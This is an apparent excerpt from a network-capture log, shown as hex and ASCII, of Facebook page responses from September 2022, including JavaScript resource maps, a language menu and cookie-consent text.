2022-09-09 16:00:31 UTC	182	IN	Data Raw: 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 68 49 65 6b 2b 62 47 22 3a 7b 22 74 79 70 65 22 3a 22 6a 73 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 72 63 2e 70 68 70 5c 2f 76 33 5c 2f 79 59 5c 2f 72 5c 2f 44 5a 5f 56 42 6c 73 79 2d 64 43 2e 6a 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 47 6a 38 76 39 4c 34 22 3a 7b 22 74 79 70 65 22 3a 22 6a 73 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 72 63 2e 70 68 70 5c 2f 76 33 5c 2f 79 57 5c 2f 72 5c 2f 61 68 34 6a 63 43 2d 43 67 6a 4f 2e 6a 73 3f 5f 6e 63 5f 78 3d 49 6a Data Ascii: nc_x=Ij3Wp8lg5Kz","nc":1},"hIek+bG":{"type":"js","src":"https:\/\/static.xx.fbcdn.net\/rsrc.php\/v3\/yY\/r\/DZ_VBlsy-dC.js?_nc_x=Ij3Wp8lg5Kz","nc":1},"Gj8v9L4":{"type":"js","src":"https:\/\/static.xx.fbcdn.net\/rsrc.php\/v3\/yW\/r\/ah4jcC-CgjO.js?_nc_x=Ij
2022-09-09 16:00:31 UTC	183	IN	Data Raw: 5a 70 64 57 30 4a 62 64 5a 2e 6a 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 5a 76 38 74 77 45 39 22 3a 7b 22 74 79 70 65 22 3a 22 6a 73 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 72 63 2e 70 68 70 5c 2f 76 33 69 59 58 71 34 5c 2f 79 37 5c 2f 6c 5c 2f 65 6e 5f 55 53 5c 2f 32 56 53 31 76 6a 4c 4f 2d 64 71 2e 6a 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 50 5c 2f 6d 72 35 56 45 22 3a 7b 22 74 79 70 65 22 3a 22 63 73 73 22 2c 22 73 72 63 22 3a 22 64 61 74 61 3a 74 65 78 74 5c 2f 63 73 73 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3b 62 61 73 65 36 34 2c 49 32 4a 76 62 33 52 73 62 32 Data Ascii: ZpdW0JbdZ.js?_nc_x=Ij3Wp8lg5Kz","nc":1},"Zv8twE9":{"type":"js","src":"https:\/\/static.xx.fbcdn.net\/rsrc.php\/v3iYXq4\/y7\/l\/en_US\/2VS1vjLO-dq.js?_nc_x=Ij3Wp8lg5Kz","nc":1},"P\/mr5VE":{"type":"css","src":"data:text\/css; charset=utf-8;base64,I2Jvb3Rsb2
2022-09-09 16:00:31 UTC	185	IN	Data Raw: 2c 22 43 51 57 57 67 50 76 22 2c 22 41 57 4f 2b 54 44 75 22 2c 22 33 64 6b 41 38 75 65 22 2c 22 41 5c 2f 75 49 30 78 31 22 2c 22 66 38 35 39 64 51 49 22 2c 22 63 68 62 39 6d 42 44 22 2c 22 6e 45 47 73 73 58 42 22 2c 22 34 4c 47 30 39 45 6d 22 2c 22 79 53 65 57 37 48 67 22 5d 2c 22 72 64 73 22 3a 7b 22 6d 22 3a 5b 22 46 62 74 4c 6f 67 67 69 6e 67 22 2c 22 49 6e 74 6c 51 74 45 76 65 6e 74 46 61 6c 63 6f 45 76 65 6e 74 22 2c 22 50 61 67 65 54 72 61 6e 73 69 74 69 6f 6e 73 22 2c 22 42 61 6e 7a 61 69 53 63 75 62 61 5f 44 45 50 52 45 43 41 54 45 44 22 2c 22 41 6e 69 6d 61 74 69 6f 6e 22 5d 2c 22 72 22 3a 5b 22 68 4b 59 30 51 4b 54 22 2c 22 64 41 78 58 30 6a 6a 22 2c 22 4f 51 76 39 57 33 4c 22 5d 7d 2c 22 62 65 22 3a 31 7d 2c 22 55 52 49 22 3a 7b 22 72 22 3a 5b Data Ascii: ,"CQWWgPv","AWO+TDu","3dkA8ue","A\/uI0x1","f859dQI","chb9mBD","nEGssXB","4LG09Em","ySeW7Hg"],"rds":{"m":["FbtLogging","IntlQtEventFalcoEvent","PageTransitions","BanzaiScuba_DEPRECATED","Animation"],"r":["hKY0QKT","dAxX0jj","OQv9W3L"]},"be":1},"URI":{"r":[
2022-09-09 16:00:31 UTC	186	IN	Data Raw: 4a 52 6f 49 22 2c 22 41 4d 4e 72 33 6f 41 22 2c 22 6c 49 5c 2f 63 46 32 41 22 2c 22 66 66 54 77 48 5c 2f 75 22 2c 22 55 59 45 30 6e 75 6a 22 2c 22 64 41 78 58 30 6a 6a 22 2c 22 61 46 39 69 50 48 64 22 2c 22 45 2b 78 53 34 50 75 22 2c 22 51 5a 59 38 6f 59 61 22 2c 22 6e 65 44 6d 63 33 61 22 2c 22 4f 30 31 62 64 4e 74 22 2c 22 63 55 57 72 35 44 63 22 2c 22 68 75 77 6b 69 72 65 22 2c 22 46 61 58 4a 6c 76 37 22 2c 22 43 73 46 38 5a 55 4c 22 2c 22 67 6a 7a 44 36 33 34 22 2c 22 4a 5c 2f 59 70 77 56 76 22 2c 22 6f 31 72 78 57 31 6c 22 2c 22 41 77 74 39 4c 50 62 22 2c 22 76 34 73 31 2b 33 63 22 2c 22 48 71 56 6b 61 76 31 22 2c 22 6d 51 58 5c 2f 4a 34 31 22 2c 22 6f 75 46 64 35 53 59 22 2c 22 55 45 66 44 66 5c 2f 38 22 2c 22 66 6d 6d 5a 4b 64 77 22 2c 22 36 47 58 Data Ascii: JRoI","AMNr3oA","lI\/cF2A","ffTwH\/u","UYE0nuj","dAxX0jj","aF9iPHd","E+xS4Pu","QZY8oYa","neDmc3a","O01bdNt","cUWr5Dc","huwkire","FaXJlv7","CsF8ZUL","gjzD634","J\/YpwVv","o1rxW1l","Awt9LPb","v4s1+3c","HqVkav1","mQX\/J41","ouFd5SY","UEfDf\/8","fmmZKdw","6GX
2022-09-09 16:00:31 UTC	187	IN	Data Raw: 34 34 38 31 0d 0a 38 42 44 4d 32 5c 2f 70 22 2c 22 52 75 63 6f 41 56 6c 22 2c 22 39 42 4a 64 66 2b 5a 22 2c 22 48 7a 76 69 50 46 46 22 2c 22 6a 6c 66 56 42 4a 6d 22 2c 22 4b 47 75 6e 5a 64 38 22 2c 22 65 37 6d 39 52 48 77 22 2c 22 41 5c 2f 75 49 30 78 31 22 2c 22 42 6d 35 50 51 64 54 22 2c 22 39 5a 30 4a 51 57 50 22 2c 22 31 74 63 39 62 44 73 22 2c 22 67 70 66 33 4d 36 48 22 2c 22 6c 77 54 35 51 78 77 22 2c 22 6d 5c 2f 6b 79 42 5a 4c 22 2c 22 67 5c 2f 43 71 65 7a 2b 22 2c 22 4c 50 5c 2f 59 31 53 59 22 2c 22 55 79 36 77 4b 6e 6b 22 2c 22 71 52 6f 38 46 59 64 22 2c 22 4e 6c 59 4f 75 61 4c 22 2c 22 63 59 55 33 63 33 32 22 2c 22 79 53 65 57 37 48 67 22 2c 22 64 73 56 35 56 76 4b 22 2c 22 66 38 35 39 64 51 49 22 2c 22 63 68 62 39 6d 42 44 22 2c 22 39 67 6b 30 Data Ascii: 44818BDM2\/p","RucoAVl","9BJdf+Z","HzviPFF","jlfVBJm","KGunZd8","e7m9RHw","A\/uI0x1","Bm5PQdT","9Z0JQWP","1tc9bDs","gpf3M6H","lwT5Qxw","m\/kyBZL","g\/Cqez+","LP\/Y1SY","Uy6wKnk","qRo8FYd","NlYOuaL","cYU3c32","ySeW7Hg","dsV5VvK","f859dQI","chb9mBD","9gk0
2022-09-09 16:00:31 UTC	188	IN	Data Raw: 22 62 65 22 3a 31 7d 2c 22 48 6f 76 65 72 63 61 72 64 22 3a 7b 22 72 22 3a 5b 22 69 59 49 6a 31 61 53 22 2c 22 79 52 61 39 76 67 35 22 2c 22 44 30 45 42 32 34 35 22 2c 22 69 56 62 76 5a 37 51 22 2c 22 64 47 5a 5a 4b 50 6b 22 2c 22 75 4e 4b 46 72 4a 41 22 2c 22 61 46 39 69 50 48 64 22 2c 22 45 2b 78 53 34 50 75 22 2c 22 6e 65 44 6d 63 33 61 22 2c 22 4f 30 31 62 64 4e 74 22 2c 22 63 55 57 72 35 44 63 22 2c 22 67 6a 7a 44 36 33 34 22 2c 22 41 77 74 39 4c 50 62 22 2c 22 45 46 31 68 57 6c 35 22 2c 22 58 46 4a 6f 47 59 76 22 2c 22 77 37 56 79 70 50 4b 22 2c 22 41 39 63 69 56 42 39 22 2c 22 71 65 57 30 70 74 62 22 2c 22 37 4c 31 57 44 68 47 22 2c 22 52 35 77 31 72 43 4a 22 2c 22 4e 30 77 44 5c 2f 70 78 22 2c 22 41 57 4f 2b 54 44 75 22 2c 22 50 48 70 75 46 42 78 Data Ascii: "be":1},"Hovercard":{"r":["iYIj1aS","yRa9vg5","D0EB245","iVbvZ7Q","dGZZKPk","uNKFrJA","aF9iPHd","E+xS4Pu","neDmc3a","O01bdNt","cUWr5Dc","gjzD634","Awt9LPb","EF1hWl5","XFJoGYv","w7VypPK","A9ciVB9","qeW0ptb","7L1WDhG","R5w1rCJ","N0wD\/px","AWO+TDu","PHpuFBx
2022-09-09 16:00:31 UTC	190	IN	Data Raw: 39 67 6b 30 77 69 47 22 2c 22 6e 45 47 73 73 58 42 22 2c 22 34 4c 47 30 39 45 6d 22 5d 2c 22 72 64 73 22 3a 7b 22 6d 22 3a 5b 22 46 62 74 4c 6f 67 67 69 6e 67 22 2c 22 49 6e 74 6c 51 74 45 76 65 6e 74 46 61 6c 63 6f 45 76 65 6e 74 22 5d 7d 2c 22 62 65 22 3a 31 7d 2c 22 51 75 69 63 6b 53 61 6e 64 53 6f 6c 76 65 72 22 3a 7b 22 72 22 3a 5b 22 64 41 78 58 30 6a 6a 22 2c 22 41 77 74 39 4c 50 62 22 2c 22 45 46 31 68 57 6c 35 22 2c 22 78 32 32 4f 62 79 34 22 2c 22 41 57 4f 2b 54 44 75 22 2c 22 38 45 4c 43 42 77 48 22 2c 22 6d 39 5a 73 54 45 6b 22 2c 22 41 5c 2f 75 49 30 78 31 22 2c 22 39 5a 30 4a 51 57 50 22 2c 22 66 38 35 39 64 51 49 22 2c 22 53 57 78 33 79 4e 76 22 2c 22 34 4c 47 30 39 45 6d 22 5d 2c 22 72 64 73 22 3a 7b 22 6d 22 3a 5b 22 46 62 74 4c 6f 67 67 Data Ascii: 9gk0wiG","nEGssXB","4LG09Em"],"rds":{"m":["FbtLogging","IntlQtEventFalcoEvent"]},"be":1},"QuickSandSolver":{"r":["dAxX0jj","Awt9LPb","EF1hWl5","x22Oby4","AWO+TDu","8ELCBwH","m9ZsTEk","A\/uI0x1","9Z0JQWP","f859dQI","SWx3yNv","4LG09Em"],"rds":{"m":["FbtLogg
2022-09-09 16:00:31 UTC	191	IN	Data Raw: 64 73 22 3a 7b 22 6d 22 3a 5b 22 46 62 74 4c 6f 67 67 69 6e 67 22 2c 22 49 6e 74 6c 51 74 45 76 65 6e 74 46 61 6c 63 6f 45 76 65 6e 74 22 5d 2c 22 72 22 3a 5b 22 66 38 35 39 64 51 49 22 5d 7d 2c 22 62 65 22 3a 31 7d 2c 22 58 55 49 47 72 61 79 54 65 78 74 2e 72 65 61 63 74 22 3a 7b 22 72 22 3a 5b 22 50 6c 6c 33 6e 5a 4a 22 2c 22 75 4e 4b 46 72 4a 41 22 2c 22 45 2b 78 53 34 50 75 22 2c 22 77 37 56 79 70 50 4b 22 2c 22 52 35 77 31 72 43 4a 22 2c 22 41 57 4f 2b 54 44 75 22 2c 22 63 68 62 39 6d 42 44 22 2c 22 6e 45 47 73 73 58 42 22 5d 2c 22 62 65 22 3a 31 7d 2c 22 44 69 61 6c 6f 67 58 22 3a 7b 22 72 22 3a 5b 22 75 4e 4b 46 72 4a 41 22 2c 22 4f 30 31 62 64 4e 74 22 2c 22 63 55 57 72 35 44 63 22 2c 22 67 6a 7a 44 36 33 34 22 2c 22 41 77 74 39 4c 50 62 22 2c 22 Data Ascii: ds":{"m":["FbtLogging","IntlQtEventFalcoEvent"],"r":["f859dQI"]},"be":1},"XUIGrayText.react":{"r":["Pll3nZJ","uNKFrJA","E+xS4Pu","w7VypPK","R5w1rCJ","AWO+TDu","chb9mBD","nEGssXB"],"be":1},"DialogX":{"r":["uNKFrJA","O01bdNt","cUWr5Dc","gjzD634","Awt9LPb","
2022-09-09 16:00:31 UTC	193	IN	Data Raw: 6e 75 6c 32 55 57 70 71 34 74 66 4e 46 79 34 77 37 6a 6c 75 54 44 31 72 51 6a 57 54 61 31 53 6e 4e 45 47 49 41 76 2d 36 56 4c 78 64 52 54 76 52 5a 6f 43 65 7a 41 4f 50 4d 72 73 51 56 4d 73 6e 36 4e 65 69 6c 61 6a 66 37 51 42 69 6f 43 72 41 22 2c 22 6c 69 6e 6b 73 68 69 6d 5f 68 6f 73 74 22 3a 22 6c 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 22 2c 22 6c 69 6e 6b 73 68 69 6d 5f 70 61 74 68 22 3a 22 5c 2f 6c 2e 70 68 70 22 2c 22 6c 69 6e 6b 73 68 69 6d 5f 65 6e 63 5f 70 61 72 61 6d 22 3a 22 68 22 2c 22 6c 69 6e 6b 73 68 69 6d 5f 75 72 6c 5f 70 61 72 61 6d 22 3a 22 75 22 2c 22 75 73 65 5f 72 65 6c 5f 6e 6f 5f 6f 70 65 6e 65 72 22 3a 66 61 6c 73 65 2c 22 61 6c 77 61 79 73 5f 75 73 65 5f 68 74 74 70 73 22 3a 66 61 6c 73 65 2c 22 6f 6e 69 6f 6e 5f 61 6c 77 61 79 73 Data Ascii: nul2UWpq4tfNFy4w7jluTD1rQjWTa1SnNEGIAv-6VLxdRTvRZoCezAOPMrsQVMsn6Neilajf7QBioCrA","linkshim_host":"l.facebook.com","linkshim_path":"\/l.php","linkshim_enc_param":"h","linkshim_url_param":"u","use_rel_no_opener":false,"always_use_https":false,"onion_always
2022-09-09 16:00:31 UTC	194	IN	Data Raw: 6d 61 72 6b 75 70 5f 33 33 31 30 63 30 37 39 5f 30 5f 72 5f 37 77 22 2c 22 5f 5f 6d 61 72 6b 75 70 5f 33 33 31 30 63 30 37 39 5f 30 5f 73 5f 56 5c 2f 22 2c 22 5f 5f 6d 61 72 6b 75 70 5f 33 33 31 30 63 30 37 39 5f 30 5f 74 5f 6f 5c 2f 22 2c 22 5f 5f 6d 61 72 6b 75 70 5f 33 33 31 30 63 30 37 39 5f 30 5f 75 5f 5a 34 22 2c 22 5f 5f 6d 61 72 6b 75 70 5f 33 33 31 30 63 30 37 39 5f 30 5f 76 5f 6b 6f 22 2c 22 58 55 49 4d 65 6e 75 57 69 74 68 53 71 75 61 72 65 43 6f 72 6e 65 72 22 2c 22 58 55 49 4d 65 6e 75 54 68 65 6d 65 22 5d 2c 5b 5b 7b 22 63 6c 61 73 73 22 3a 22 68 65 61 64 65 72 49 74 65 6d 22 2c 22 76 61 6c 75 65 22 3a 22 69 64 5f 49 44 22 2c 22 73 65 6c 65 63 74 65 64 22 3a 66 61 6c 73 65 2c 22 63 74 6f 72 22 3a 7b 22 5f 5f 6d 22 3a 22 4d 65 6e 75 53 65 6c Data Ascii: markup_3310c079_0_r_7w","__markup_3310c079_0_s_V\/","__markup_3310c079_0_t_o\/","__markup_3310c079_0_u_Z4","__markup_3310c079_0_v_ko","XUIMenuWithSquareCorner","XUIMenuTheme"],[[{"class":"headerItem","value":"id_ID","selected":false,"ctor":{"__m":"MenuSel
2022-09-09 16:00:31 UTC	196	IN	Data Raw: 70 61 5c 75 30 30 66 31 61 29 22 2c 22 74 69 74 6c 65 22 3a 22 22 2c 22 63 6c 61 73 73 4e 61 6d 65 22 3a 22 68 65 61 64 65 72 49 74 65 6d 22 7d 2c 7b 22 63 6c 61 73 73 22 3a 22 68 65 61 64 65 72 49 74 65 6d 22 2c 22 76 61 6c 75 65 22 3a 22 66 72 5f 46 52 22 2c 22 73 65 6c 65 63 74 65 64 22 3a 66 61 6c 73 65 2c 22 63 74 6f 72 22 3a 7b 22 5f 5f 6d 22 3a 22 4d 65 6e 75 53 65 6c 65 63 74 61 62 6c 65 49 74 65 6d 22 7d 2c 22 6d 61 72 6b 75 70 22 3a 7b 22 5f 5f 6d 22 3a 22 5f 5f 6d 61 72 6b 75 70 5f 33 33 31 30 63 30 37 39 5f 30 5f 37 5f 72 4d 22 7d 2c 22 6c 61 62 65 6c 22 3a 22 46 72 61 6e 5c 75 30 30 65 37 61 69 73 20 28 46 72 61 6e 63 65 29 22 2c 22 74 69 74 6c 65 22 3a 22 22 2c 22 63 6c 61 73 73 4e 61 6d 65 22 3a 22 68 65 61 64 65 72 49 74 65 6d 22 7d 2c 7b Data Ascii: pa\u00f1a)","title":"","className":"headerItem"},{"class":"headerItem","value":"fr_FR","selected":false,"ctor":{"__m":"MenuSelectableItem"},"markup":{"__m":"__markup_3310c079_0_7_rM"},"label":"Fran\u00e7ais (France)","title":"","className":"headerItem"},{
2022-09-09 16:00:31 UTC	197	IN	Data Raw: 6c 65 63 74 61 62 6c 65 49 74 65 6d 22 7d 2c 22 6d 61 72 6b 75 70 22 3a 7b 22 5f 5f 6d 22 3a 22 5f 5f 6d 61 72 6b 75 70 5f 33 33 31 30 63 30 37 39 5f 30 5f 65 5f 61 47 22 7d 2c 22 6c 61 62 65 6c 22 3a 22 50 6f 72 74 75 67 75 5c 75 30 30 65 61 73 20 28 50 6f 72 74 75 67 61 6c 29 22 2c 22 74 69 74 6c 65 22 3a 22 22 2c 22 63 6c 61 73 73 4e 61 6d 65 22 3a 22 68 65 61 64 65 72 49 74 65 6d 22 7d 2c 7b 22 63 6c 61 73 73 22 3a 22 68 65 61 64 65 72 49 74 65 6d 22 2c 22 76 61 6c 75 65 22 3a 22 72 6f 5f 52 4f 22 2c 22 73 65 6c 65 63 74 65 64 22 3a 66 61 6c 73 65 2c 22 63 74 6f 72 22 3a 7b 22 5f 5f 6d 22 3a 22 4d 65 6e 75 53 65 6c 65 63 74 61 62 6c 65 49 74 65 6d 22 7d 2c 22 6d 61 72 6b 75 70 22 3a 7b 22 5f 5f 6d 22 3a 22 5f 5f 6d 61 72 6b 75 70 5f 33 33 31 30 63 30 Data Ascii: lectableItem"},"markup":{"__m":"__markup_3310c079_0_e_aG"},"label":"Portugu\u00eas (Portugal)","title":"","className":"headerItem"},{"class":"headerItem","value":"ro_RO","selected":false,"ctor":{"__m":"MenuSelectableItem"},"markup":{"__m":"__markup_3310c0
2022-09-09 16:00:31 UTC	199	IN	Data Raw: 33 61 63 22 2c 22 74 69 74 6c 65 22 3a 22 22 2c 22 63 6c 61 73 73 4e 61 6d 65 22 3a 22 68 65 61 64 65 72 49 74 65 6d 22 7d 2c 7b 22 63 6c 61 73 73 22 3a 22 68 65 61 64 65 72 49 74 65 6d 22 2c 22 76 61 6c 75 65 22 3a 22 72 75 5f 52 55 22 2c 22 73 65 6c 65 63 74 65 64 22 3a 66 61 6c 73 65 2c 22 63 74 6f 72 22 3a 7b 22 5f 5f 6d 22 3a 22 4d 65 6e 75 53 65 6c 65 63 74 61 62 6c 65 49 74 65 6d 22 7d 2c 22 6d 61 72 6b 75 70 22 3a 7b 22 5f 5f 6d 22 3a 22 5f 5f 6d 61 72 6b 75 70 5f 33 33 31 30 63 30 37 39 5f 30 5f 6d 5f 33 63 22 7d 2c 22 6c 61 62 65 6c 22 3a 22 5c 75 30 34 32 30 5c 75 30 34 34 33 5c 75 30 34 34 31 5c 75 30 34 34 31 5c 75 30 34 33 61 5c 75 30 34 33 38 5c 75 30 34 33 39 22 2c 22 74 69 74 6c 65 22 3a 22 22 2c 22 63 6c 61 73 73 4e 61 6d 65 22 3a 22 68 Data Ascii: 3ac","title":"","className":"headerItem"},{"class":"headerItem","value":"ru_RU","selected":false,"ctor":{"__m":"MenuSelectableItem"},"markup":{"__m":"__markup_3310c079_0_m_3c"},"label":"\u0420\u0443\u0441\u0441\u043a\u0438\u0439","title":"","className":"h
2022-09-09 16:00:31 UTC	200	IN	Data Raw: 22 3a 22 5c 75 34 65 32 64 5c 75 36 35 38 37 28 5c 75 37 62 38 30 5c 75 34 66 35 33 29 22 2c 22 74 69 74 6c 65 22 3a 22 22 2c 22 63 6c 61 73 73 4e 61 6d 65 22 3a 22 68 65 61 64 65 72 49 74 65 6d 22 7d 2c 7b 22 63 6c 61 73 73 22 3a 22 68 65 61 64 65 72 49 74 65 6d 22 2c 22 76 61 6c 75 65 22 3a 22 7a 68 5f 48 4b 22 2c 22 73 65 6c 65 63 74 65 64 22 3a 66 61 6c 73 65 2c 22 63 74 6f 72 22 3a 7b 22 5f 5f 6d 22 3a 22 4d 65 6e 75 53 65 6c 65 63 74 61 62 6c 65 49 74 65 6d 22 7d 2c 22 6d 61 72 6b 75 70 22 3a 7b 22 5f 5f 6d 22 3a 22 5f 5f 6d 61 72 6b 75 70 5f 33 33 31 30 63 30 37 39 5f 30 5f 74 5f 6f 5c 2f 22 7d 2c 22 6c 61 62 65 6c 22 3a 22 5c 75 34 65 32 64 5c 75 36 35 38 37 28 5c 75 39 39 39 39 5c 75 36 65 32 66 29 22 2c 22 74 69 74 6c 65 22 3a 22 22 2c 22 63 6c Data Ascii: ":"\u4e2d\u6587(\u7b80\u4f53)","title":"","className":"headerItem"},{"class":"headerItem","value":"zh_HK","selected":false,"ctor":{"__m":"MenuSelectableItem"},"markup":{"__m":"__markup_3310c079_0_t_o\/"},"label":"\u4e2d\u6587(\u9999\u6e2f)","title":"","cl
2022-09-09 16:00:31 UTC	202	IN	Data Raw: 5f 30 5f 30 5f 55 63 22 2c 22 5f 5f 65 6c 65 6d 5f 65 63 37 37 61 66 62 64 5f 30 5f 30 5f 4b 54 22 2c 22 5f 5f 69 6e 73 74 5f 30 32 31 38 32 30 31 35 5f 30 5f 30 5f 34 78 22 2c 22 50 6f 70 6f 76 65 72 4d 65 6e 75 43 6f 6e 74 65 78 74 4d 69 6e 57 69 64 74 68 22 5d 2c 5b 7b 22 5f 5f 6d 22 3a 22 5f 5f 69 6e 73 74 5f 31 64 65 31 34 36 64 63 5f 30 5f 30 5f 55 63 22 7d 2c 7b 22 5f 5f 6d 22 3a 22 5f 5f 65 6c 65 6d 5f 65 63 37 37 61 66 62 64 5f 30 5f 30 5f 4b 54 22 7d 2c 7b 22 5f 5f 6d 22 3a 22 5f 5f 69 6e 73 74 5f 30 32 31 38 32 30 31 35 5f 30 5f 30 5f 34 78 22 7d 2c 5b 7b 22 5f 5f 6d 22 3a 22 50 6f 70 6f 76 65 72 4d 65 6e 75 43 6f 6e 74 65 78 74 4d 69 6e 57 69 64 74 68 22 7d 5d 5d 2c 31 5d 2c 5b 22 5f 5f 69 6e 73 74 5f 31 64 65 31 34 36 64 63 5f 30 5f 30 5f 55 Data Ascii: _0_0_Uc","__elem_ec77afbd_0_0_KT","__inst_02182015_0_0_4x","PopoverMenuContextMinWidth"],[{"__m":"__inst_1de146dc_0_0_Uc"},{"__m":"__elem_ec77afbd_0_0_KT"},{"__m":"__inst_02182015_0_0_4x"},[{"__m":"PopoverMenuContextMinWidth"}]],1],["__inst_1de146dc_0_0_U
2022-09-09 16:00:31 UTC	203	IN	Data Raw: 64 69 76 3e 5c 75 30 30 33 43 64 69 76 3e 5c 75 30 30 33 43 64 69 76 20 63 6c 61 73 73 3d 5c 22 5f 39 78 6f 31 5c 22 3e 57 65 20 75 73 65 20 63 6f 6f 6b 69 65 73 20 61 6e 64 20 73 69 6d 69 6c 61 72 20 74 65 63 68 6e 6f 6c 6f 67 69 65 73 20 74 6f 20 68 65 6c 70 3a 5c 75 30 30 33 43 5c 2f 64 69 76 3e 5c 75 30 30 33 43 64 69 76 20 63 6c 61 73 73 3d 5c 22 5f 39 78 6f 32 5c 22 3e 5c 75 30 30 33 43 69 20 63 6c 61 73 73 3d 5c 22 69 6d 67 20 73 70 5f 4d 79 57 51 51 31 47 2d 67 30 62 20 73 78 5f 66 30 62 38 36 64 5c 22 3e 5c 75 30 30 33 43 5c 2f 69 3e 5c 75 30 30 33 43 64 69 76 20 63 6c 61 73 73 3d 5c 22 5f 39 78 6f 34 5c 22 3e 50 72 6f 76 69 64 65 20 61 6e 64 20 69 6d 70 72 6f 76 65 20 63 6f 6e 74 65 6e 74 20 6f 6e 20 46 61 63 65 62 6f 6f 6b 20 50 72 6f 64 75 63 Data Ascii: div>\u003Cdiv>\u003Cdiv class=\"_9xo1\">We use cookies and similar technologies to help:\u003C\/div>\u003Cdiv class=\"_9xo2\">\u003Ci class=\"img sp_MyWQQ1G-g0b sx_f0b86d\">\u003C\/i>\u003Cdiv class=\"_9xo4\">Provide and improve content on Facebook Produc
2022-09-09 16:00:31 UTC	205	IN	Data Raw: 73 73 65 6e 74 69 61 6c 20 63 6f 6f 6b 69 65 73 5c 75 30 30 33 43 5c 2f 64 69 76 3e 5c 75 30 30 33 43 64 69 76 3e 54 68 65 73 65 20 63 6f 6f 6b 69 65 73 20 61 72 65 20 72 65 71 75 69 72 65 64 20 74 6f 20 75 73 65 20 4d 65 74 61 20 50 72 6f 64 75 63 74 73 2e 20 54 68 65 79 5c 75 32 30 31 39 72 65 20 6e 65 63 65 73 73 61 72 79 20 66 6f 72 20 74 68 65 73 65 20 73 69 74 65 73 20 74 6f 20 77 6f 72 6b 20 61 73 20 69 6e 74 65 6e 64 65 64 2e 5c 75 30 30 33 43 5c 2f 64 69 76 3e 5c 75 30 30 33 43 5c 2f 64 69 76 3e 5c 75 30 30 33 43 5c 2f 64 69 76 3e 5c 75 30 30 33 43 64 69 76 20 63 6c 61 73 73 3d 5c 22 5f 39 78 6f 30 5c 22 3e 5c 75 30 30 33 43 5c 2f 64 69 76 3e 5c 75 30 30 33 43 5c 2f 64 69 76 3e 5c 75 30 30 33 43 64 69 76 3e 5c 75 30 30 33 43 70 20 63 6c 61 73 73 Data Ascii: ssential cookies\u003C\/div>\u003Cdiv>These cookies are required to use Meta Products. They\u2019re necessary for these sites to work as intended.\u003C\/div>\u003C\/div>\u003C\/div>\u003Cdiv class=\"_9xo0\">\u003C\/div>\u003C\/div>\u003Cdiv>\u003Cp class
2022-09-09 16:00:31 UTC	206	IN	Data Raw: 6f 64 75 63 74 73 5c 75 30 30 33 43 5c 2f 61 3e 2e 20 4f 6e 65 20 6f 66 20 74 68 65 20 77 61 79 73 20 41 75 64 69 65 6e 63 65 20 4e 65 74 77 6f 72 6b 20 73 68 6f 77 73 20 72 65 6c 65 76 61 6e 74 20 61 64 73 20 69 73 20 62 79 20 75 73 69 6e 67 20 79 6f 75 72 20 61 64 20 70 72 65 66 65 72 65 6e 63 65 73 20 74 6f 20 64 65 74 65 72 6d 69 6e 65 20 77 68 69 63 68 20 61 64 73 20 79 6f 75 20 6d 61 79 20 62 65 20 69 6e 74 65 72 65 73 74 65 64 20 69 6e 20 73 65 65 69 6e 67 2e 20 59 6f 75 20 63 61 6e 20 63 6f 6e 74 72 6f 6c 20 74 68 69 73 20 69 6e 20 79 6f 75 72 20 5c 75 30 30 33 43 61 20 68 72 65 66 3d 5c 22 68 74 74 70 73 3a 5c 2f 5c 2f 77 77 77 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 5c 2f 73 65 74 74 69 6e 67 73 5c 2f 61 64 73 5c 2f 5c 22 3e 61 64 20 73 65 74 74 Data Ascii: oducts\u003C\/a>. One of the ways Audience Network shows relevant ads is by using your ad preferences to determine which ads you may be interested in seeing. You can control this in your \u003Ca href=\"https:\/\/www.facebook.com\/settings\/ads\/\">ad sett
2022-09-09 16:00:31 UTC	207	IN	Data Raw: 65 72 74 69 73 69 6e 67 5c 75 30 30 33 43 5c 2f 64 69 76 3e 5c 75 30 30 33 43 5c 2f 73 70 61 6e 3e 5c 75 30 30 33 43 73 70 61 6e 20 63 6c 61 73 73 3d 5c 22 5f 39 6e 67 67 20 5f 39 76 37 76 5c 22 3e 5c 75 30 30 33 43 69 20 63 6c 61 73 73 3d 5c 22 69 6d 67 20 73 70 5f 4d 79 57 51 51 31 47 2d 67 30 62 20 73 78 5f 33 39 65 61 65 39 5c 22 3e 5c 75 30 30 33 43 5c 2f 69 3e 5c 75 30 30 33 43 5c 2f 73 70 61 6e 3e 5c 75 30 30 33 43 5c 2f 64 69 76 3e 5c 75 30 30 33 43 5c 2f 62 75 74 74 6f 6e 3e 5c 75 30 30 33 43 64 69 76 20 63 6c 61 73 73 3d 5c 22 5f 39 6e 67 62 20 5f 39 6e 67 61 5c 22 3e 5c 75 30 30 33 43 64 69 76 3e 5c 75 30 30 33 43 70 20 63 6c 61 73 73 3d 5c 22 5f 39 6f 2d 6d 5c 22 3e 59 6f 75 20 63 61 6e 20 6f 70 74 20 6f 75 74 20 6f 66 20 73 65 65 69 6e 67 20 Data Ascii: ertising\u003C\/div>\u003C\/span>\u003Cspan class=\"_9ngg _9v7v\">\u003Ci class=\"img sp_MyWQQ1G-g0b sx_39eae9\">\u003C\/i>\u003C\/span>\u003C\/div>\u003C\/button>\u003Cdiv class=\"_9ngb _9nga\">\u003Cdiv>\u003Cp class=\"_9o-m\">You can opt out of seeing
